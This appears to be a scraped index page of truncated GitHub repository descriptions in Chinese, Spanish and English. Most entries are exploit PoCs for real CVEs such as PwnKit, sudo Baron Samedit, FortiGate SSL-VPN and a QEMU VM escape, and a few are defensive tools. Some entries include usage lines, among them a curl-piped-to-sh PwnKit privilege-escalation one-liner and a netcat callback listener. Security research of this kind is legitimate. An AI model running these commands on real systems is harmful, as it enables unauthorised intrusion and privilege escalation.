CVE-2021-3929-3947

CVE-2021-3929-3947 针对CVE-2021-3929和CVE-2021-3947的VM逃逸PoC。仅供教育用途。 你可以阅读 白皮书 了解更多信息。 环境 root@kitploit: OS: Ubuntu 21.10 Linux: 5.13.0 gcc: 11.2.0 glibc: 2.34 glib: 2.68.4 QEMU: 6.1.0 Guest OS: Ubuntu 21.04 命令 宿主机 root@kitploit: qemu-system-x8664 run -machine type=q35,accel=kvm -cpu host \ -m 2G -hd...

POC_CVE-2025-32433

⚠️ 道德免责声明 这个仓库包含演示真实 CVE（CVE-2025-32433）的代码。 只在你有明确授权的环境中使用它 。 绝不要针对你不拥有或管理的系统测试此漏洞利用程序。 未经授权的使用是非法的、不道德的，并且对网络安全社区有害。 CVE-2025-32433 的模拟与真实 PoC 我的兄弟 Chocapikk 给我看了这个发现的 PoC erlingcve.py，我很感兴趣，想在一个安全的环境中测试它。 对于这个仓库，你有两个选择：下面我列出的安全模拟脚本和系统。 或者你可以使用真正的 erlingcve.py（以合乎道德的方式、谨慎行事，并且只在你有权测试的网络上使用）。...

CVE-2020-28653

CVE-2020-28653 Versión: 2016 - 2020 antes del parche Uso: root@kitploit: python exploit.py http://vuln-web.com...

heartpatch.us

heartpatch.us Under Construction Patching heartbleed openssl vulnerabilities on servers across the world wide web. Inspiration Heartbleed is a security bug in the OpenSSL cryptography library, which is a widely used implementation of the Transport Layer Security TLS protocol. It was introduced in...

Weblogic-CVE-2020-2551-To-Internet

Weblogic-CVE-2020-2551-To-Internet CVE-2020-2551 POC to use on the Internet 测试POC（可用于外网测试） python CVE-2020-2551.py HOST IP 尝试修改codebase进行远程类加载（失败） python CVE-2020-TEST.py HOST IP 浅谈 weblogic CVE-2020-2551 漏洞 & 外网POC构造 （首发于安全客，原文链接） 0x00 基础概念 学习这个漏洞需要一些前置知识，比如CORBA与RMI 简单的概述一下：...

fgt-cve-2023-27997-exploit

fgt-cve-2023-27997-exploit Script PoC de exploit para FortiGate SSL‑VPN CVE‑2023‑27997 con cadena ROP Contenido Descripción Versiones Afectadas Instalación Uso Ejemplo de Salida Detalles Técnicos Advertencias Referencias Descripción fgt-cve-2023-27997-exploit.py es un script de exploit...

log4j2_dos_exploit

说明 about author: 我超怕的 blog: https://www.cnblogs.com/iAmSoScArEd/ github: https://github.com/iAmSOScArEd/ date: 2021-12-20 log4j2 dos exploit log4j2 dos 漏洞利用脚本 CVE-2021-45105 Exploit CVE-2021-45105 利用脚本 利用方式 how to use English： root@kitploit: Log4j2dos.py -u -m -d -H -l -t -u,--url attack target...

spectre-meltdown-checker

Spectre & Meltdown Checker A self-contained shell script to assess your system's resilience against the several transient execution CVEs that were published since early 2018, and give you guidance as to how to mitigate them. CVE list...

CVE-2022-24122

CVE-2022-24122 Denegación de servicio simple usando CVE-2022-24122 Funciona con sistemas de 1 núcleo y tiene una probabilidad de éxito de 80% con 2 núcleos...

cve-2019-9978

CVE-2019-9978 这是 Cved 的一部分： 一个用于管理易受攻击的 Docker 容器的工具。 Cved: https://github.com/git-rep-src/cved 镜像来源: https://github.com/cved-sources/cve-2019-9978 镜像作者: https://github.com/cved-sources/cve-2019-9978...

CVE-2020-16898--EXP-POC

CVE-2020-16898 CVE-2020-16898 Windows TCP/IP远程代码执行漏洞 EXP&POC 复现 forforever：https://www.cnblogs.com/forforever/p/13846077.html poc CVE-2020-16898Checker-poc 命令： 管理员启动powershell/CMD root@kitploit: Powershell.exe -ExecutionPolicy UnRestricted -File .\CVE-2020-16898-poc.ps1 exp cve-2020-16898-exp2...

CVE-2019-0708

CVE-2019-0708 POC-CVE-2019-0708 Microsoft Windows 7 para sistemas de 32 bits SP1 Microsoft Windows 7 para sistemas basados en x64 SP1 Microsoft Windows Server 2003 Microsoft Windows Server 2008 R2 para sistemas basados en Itanium SP1 Microsoft Windows Server 2008 R2 para sistemas basados en x64 S...

CVE-2022-42889

CVE-2022-42889 测试应用程序 此仓库包含一个使用 Apache Commons Text 1.10 的简单应用程序，该版本存在 CVE-2022-42889 漏洞。 运行应用程序 将 DemoApplication.java 中的 nc 命令替换为你的主机 IP 地址。 使用 netcat 监听： root@kitploit: $ nc -l -p 30000 构建并运行存在漏洞的 Docker 代码 root@kitploit: docker build . -t vulnerable-app docker run vulnerable-app 如你所见，netcat...

log4fix

log4fix 该工具用于检测和修复 log4j log4shell 漏洞 CVE-2021-44228，通过查找并从 .jar/.war/.ear 文件中移除 JndiLookup 类，零依赖且免费。 该工具已在以下环境中测试通过： - Linux 32位和64位 - Windows 32位和64位 - OpenBSD 64位 该工具使用 Go 编程语言编写，这意味着零依赖且拥有可随处运行的独立二进制文件。 安装...

chamilo-lms-unauthenticated-big-upload-rce-poc

Chamilo LMS 未认证大文件上传 RCE PoC 这是一个用 Python 编写的脚本，允许利用 CVE-2023-4220 描述的 Chamilo LMS 软件安全漏洞。该系统的版本在 1.11.24 之前受此漏洞影响。 使用方法 将仓库克隆到本地并安装依赖（建议使用 virtualenv 创建隔离环境，以避免与全局安装冲突）： root@kitploit: git clone https://github.com/m3m0o/chamilo-lms-unauthenticated-big-upload-rce-poc cd...

Wolfcms-v0.8.3.1-xss-POC-by-Provensec-llc

Wolfcms-v0.8.3.1-xss-POC-by-Provensec-llc WolfCMS-v0.8.3.1 跨站脚本攻击XSS 分配的 CVE 编号：CVE-2017-11611...

CVE-2021-3156

CVE-2021-3156 CVE-2021-3156 漏洞利用 介绍 这是针对 CVE-2021-3156 sudo 漏洞（被 Qualys 命名为 Baron Samedit）的利用工具。 构建： $ make 列出目标： $ ./sudo-hax-me-a-sandwich 运行： $ ./sudo-hax-me-a-sandwich...

sudo-CVE-2017-1000367

sudo-CVE-2017-1000367 http://www.openwall.com/lists/oss-security/2017/05/30/16 编译: gcc -o sudopwn sudopwn.c -lutil 免责声明: 我当时完全不知道自己在做什么 ;- 要求 系统必须启用selinux sudo需要编译时支持selinux（sudo -r） 用户需要具有sudo权限，例如 "toor ALL=ALL NOPASSWD: /usr/bin/sum"...

Exploiting-PwnKit-CVE-2021-4034-

PwnKit 针对CVE-2021-4034的自包含利用程序 - Pkexec本地权限提升 用法 在基于Ubuntu、Debian、Fedora和CentOS的易受攻击Linux发行版上应可开箱即用。 root@kitploit: sh -c "$curl -fsSL https://raw.githubusercontent.com/ly4k/PwnKit/main/PwnKit.sh" 手动 root@kitploit: curl -fsSL https://raw.githubusercontent.com/ly4k/PwnKit/main/PwnKit -o PwnKit chm...

mitaka

Mitaka Mitaka is a browser extension that makes your OSINT Open Source Intelligence search & scan easier. Key features: Auto IoC indicators of compromise selection with refanging. E.g. example.com to example.com, testatexample.com to [email protected], hxxp://example.com to http://example.co...